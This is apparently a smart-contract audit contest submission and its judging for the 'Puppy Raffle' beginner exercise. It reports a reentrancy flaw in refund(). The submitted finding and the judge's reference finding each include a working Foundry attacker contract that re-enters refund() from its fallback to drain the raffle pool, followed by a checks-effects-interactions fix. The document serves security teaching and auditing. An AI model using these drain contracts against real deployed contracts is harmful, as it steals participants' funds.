Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() allows draining the raffle pool

Root cause

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // external call FIRST
players[playerIndex] = address(0); // state cleared AFTER
emit RaffleRefunded(playerAddress);
}

sendValue happens before players[playerIndex] is zeroed, so a malicious contract re-entering from its fallback passes both require checks again (state still shows it as the player) and receives another entranceFee. Repeatable until the pool is drained.

Impact

An attacker depositing 1 ETH can withdraw the entire raffle pool, stealing other players' entrance fees. Total loss of funds for honest participants.

Risk

Likelihood: High — any participant can deploy the attacker contract; no privileged timing needed.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle raffle; uint256 playerIndex;
constructor(PuppyRaffle _raffle) public { raffle = _raffle; }
function attack(uint256 _pi) external payable { playerIndex = _pi; raffle.refund(playerIndex); }
fallback() external payable {
if (address(raffle).balance >= raffle.entranceFee()) { raffle.refund(playerIndex); }
}
}
contract PoC is Test {
PuppyRaffle raffle;
function setUp() public { raffle = new PuppyRaffle(1 ether, address(this), 100); }
function test_ReentrancyDrains() public {
for (uint i = 0; i < 3; i++) {
address h = address(uint160(100 + i)); vm.deal(h, 1 ether); vm.prank(h);
address[] memory p = new address[](1); p[0] = h;
raffle.enterRaffle{value: 1 ether}(p);
}
ReentrancyAttacker atk = new ReentrancyAttacker(raffle);
vm.deal(address(atk), 1 ether);
address[] memory ap = new address[](1); ap[0] = address(atk); vm.prank(address(atk));
raffle.enterRaffle{value: 1 ether}(ap);
atk.attack(3);
assert(address(atk).balance > 1 ether); // deposited 1, withdrew whole 4 ETH pool
}
}

forge test --match-test test_ReentrancyDrains passes; trace shows nested fallback re-entry.

Recommended Mitigation

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);

(Follow checks-effects-interactions, or add ReentrancyGuard.)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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